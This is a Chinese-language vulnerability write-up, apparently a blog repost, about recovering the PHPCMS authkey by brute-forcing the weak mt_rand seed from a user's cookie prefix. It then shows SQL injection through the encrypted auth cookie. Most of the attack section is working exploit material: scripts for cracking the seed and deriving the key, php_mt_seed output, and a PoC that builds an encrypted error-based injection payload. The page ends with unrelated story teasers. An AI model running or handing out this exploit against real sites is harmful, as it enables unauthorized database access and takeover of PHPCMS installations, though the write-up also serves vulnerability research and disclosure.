PHPCMS authkey泄露导致注入

  1. 发布时间:2017-04-28
  2. 公开时间:N/A
  3. 漏洞类型:sql注入
  4. 危害等级:高
  5. 漏洞编号:xianzhi-2017-04-93356191
  6. 测试版本:N/A

漏洞详情

install/install.php 184行

if($module == 'admin') {
    $cookiepre = random(5, 'abcdefghigklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVWXYZ').'';
    $authkey = random(20, '1294567890abcdefghigklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVWXYZ');

安装过程中初始化的2个随机值 一个是cookie前缀 一个是牛逼的auth_key
来看看random函数

function random($length, $chars = '0123456789') {
    $hash = '';
    $max = strlen($chars) - 1;
    for($i = 0; $i < $length; $i++) {
        $hash .= $chars[mt_rand(0, $max)];
    }
    return $hash;
}

可以看到使用mt_rand来生成随机数
mt_rand有个坑 研究过的人不少 就是随机数种子不是很强可以被爆破,而且php在一次访问中只会自动播种一次种子。看上面,在这一次访问中 共调用了5+20次mt_rand 而且前5次的值可知(cookie前缀),足够我们计算出随机数种子从而自己计算auth_key的值

利用过程

首先注册个账号 记录cookie值 比如我这里

oitzp__userid:4426Os84BFz69iT0YQjGWpPEtQp4niK3SXOJLwKA

oitzp就是cookie_pre
先用个小脚本生成参数

$s = 'oitzp';
$str = 'abcdefghigklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVWXYZ';
echo crack($s,$str);
function crack($s,$str){
    for($i=0;$i<strlen($s);$i++){
        echo strpos($str,$s[$i])." ".strpos($str,$s[$i])." 0 51 ";
    }
}

得到

14 14 0 51 8 8 0 51 19 19 0 51 25 25 0 51 15 15 0 51

开始爆破

./php_mt_seed 14 14 0 51 8 8 0 51 19 19 0 51 25 25 0 51 15 15 0 51

大概几分钟后得到结果

Pattern: EXACT-FROM-52 EXACT-FROM-52 EXACT-FROM-52 EXACT-FROM-52 EXACT-FROM-52
Found 0, trying 33554432 - 67108863, speed 25228896 seeds per second
seed = 62227301
Found 1, trying 369098752 - 402653183, speed 26383041 seeds per second
seed = 392301305
seed = 393361608
Found 3, trying 738197504 - 771751935, speed 25992869 seeds per second
seed = 762840031
Found 4, trying 872415232 - 905969663, speed 25995686 seeds per second
seed = 903576050
Found 5, trying 1610612736 - 1644167167, speed 26116632 seeds per second
seed = 1625886859
Found 6, trying 1677721600 - 1711276031, speed 26120529 seeds per second
seed = 1708791794
Found 7, trying 1845493760 - 1879048191, speed 26121638 seeds per second
seed = 1850496645
Found 8, trying 2315255808 - 2348810239, speed 26072700 seeds per second
seed = 2327183983
Found 9, trying 2449473536 - 2483027967, speed 26049915 seeds per second
seed = 2453737360
Found 10, trying 2818572288 - 2852126719, speed 26083400 seeds per second
seed = 2821134341
Found 11, trying 3187671040 - 3221225471, speed 26049448 seeds per second
seed = 3195112468
Found 12, trying 3321888768 - 3355443199, speed 26056073 seeds per second
seed = 3355185931
Found 13, trying 3355443200 - 3388997631, speed 26029347 seeds per second
seed = 3370877999
Found 14, trying 3623878656 - 3657433087, speed 25983212 seeds per second
seed = 3635705652
Found 15, trying 3959422976 - 3992977407, speed 25973648 seeds per second
seed = 3976924131
Found 16, trying 4060086272 - 4093640703, speed 25997863 seeds per second
seed = 4070165693
Found 17, trying 4261412864 - 4294967295, speed 26030253 seeds per second
Found 17

总共有17个可能的随机数种子 收集一下丢给下一个脚本

$seeds = array(62227301,392301305,393361608,762840031,903576050,1625886859,1708791794,1850496645,2327183983,2453737360,2821134341,3195112468,3355185931,3370877999,3635705652,3976924131,4070165693);
for($i=0;$i<17;$i++){
    mt_srand($seeds[$i]);
    $cookie_pre = random(5, 'abcdefghigklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVWXYZ').'';
    $auth_key = random(20, '1294567890abcdefghigklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVWXYZ');
    if (authcode("4426Os84BFz69iT0YQjGWpPEtQp4niK3SXOJLwKA","DECODE",$auth_key) == "1"){ 
    //上面的1是注册的uid
    //可以从index.php?m=member&c=index&a=account_manage_info&t=1拿到
        echo $seeds[$i]."\n".$auth_key;
    }
}

得到结果:

3370877999
fkedKUovc9hFpKvX0hcH

就这么分分钟拿到可auth_key
简单演示下注入
phpcms/modules/member/class/foreground.class.php 19行

   final public function check_member() {
        $phpcms_auth = param::get_cookie('auth');
        if(ROUTE_M =='member' && ROUTE_C =='index' && in_array(ROUTE_A, array('login', 'register', 'mini','send_newmail'))) {
            if ($phpcms_auth && ROUTE_A != 'mini') {
                showmessage(L('login_success', '', 'member'), 'index.php?m=member&c=index');
            } else {
                return true;
            }
        } else {
            //判断是否存在auth cookie
            if ($phpcms_auth) {
                $auth_key = $auth_key = get_auth_key('login');
                list($userid, $password) = explode("\t", sys_auth($phpcms_auth, 'DECODE', $auth_key));
                //验证用户,获取用户信息
                $this->memberinfo = $this->db->get_one(array('userid'=>$userid));

$userid来自cookie且经过2次sys_auth加密 无视防御
poc:

$str = "1' and (extractvalue(1,concat(0x7e,(select user()),0x7e)));#\tasdf";
$en1 = authcode($str,"ENCODE",get_auth_key("login"));
$en2 = authcode($en1,"ENCODE",'fkedKUovc9hFpKvX0hcH');//刚才拿到的auth_key
echo urlencode($en2);
function get_auth_key($prefix,$suffix="") {
    if($prefix=='login'){
        $pc_auth_key = md5('fkedKUovc9hFpKvX0hcH'.'192.168.199.171');//本机IP
    }else if($prefix=='email'){
        $pc_auth_key = md5('fkedKUovc9hFpKvX0hcH');
    }else{
        $pc_auth_key = md5('fkedKUovc9hFpKvX0hcH'.$suffix);
    }
    $authkey = md5($prefix.$pc_auth_key);
    return $authkey;
}

修改cookie oitzp_auth值为生成的payload
访问/index.php?m=member即可看到报错信息

view.png
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 212,222评论 6 493
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 90,455评论 3 385
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 157,720评论 0 348
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 56,568评论 1 284
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 65,696评论 6 386
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 49,879评论 1 290
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,028评论 3 409
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 37,773评论 0 268
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,220评论 1 303
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,550评论 2 327
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,697评论 1 341
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,360评论 4 332
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,002评论 3 315
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,782评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,010评论 1 266
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 46,433评论 2 360
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 43,587评论 2 350

推荐阅读更多精彩内容

  • rljs by sennchi Timeline of History Part One The Cognitiv...
    sennchi阅读 7,312评论 0 10
  • 前言 前段时间挖了不少跟mt_rand()相关的安全漏洞,基本上都是错误理解随机数用法导致的。这里又要提一下php...
    索马里的乌贼阅读 1,359评论 0 1
  • 毋庸置疑,《三体》是一部神作。 之所以先写下这句话是怕被人喷。N年前,大学室友是个科幻爱好者者,我一向对科幻并不感...
    帝之玄解阅读 664评论 7 2
  • 麻醉剂推进牙齿边肌肉里的那一刻,我才清楚痛感神经敏感是怎么回事。 如你所见,我去拔智齿了,那日夜折磨我的钝痛可以就...
    午蕤阅读 310评论 0 0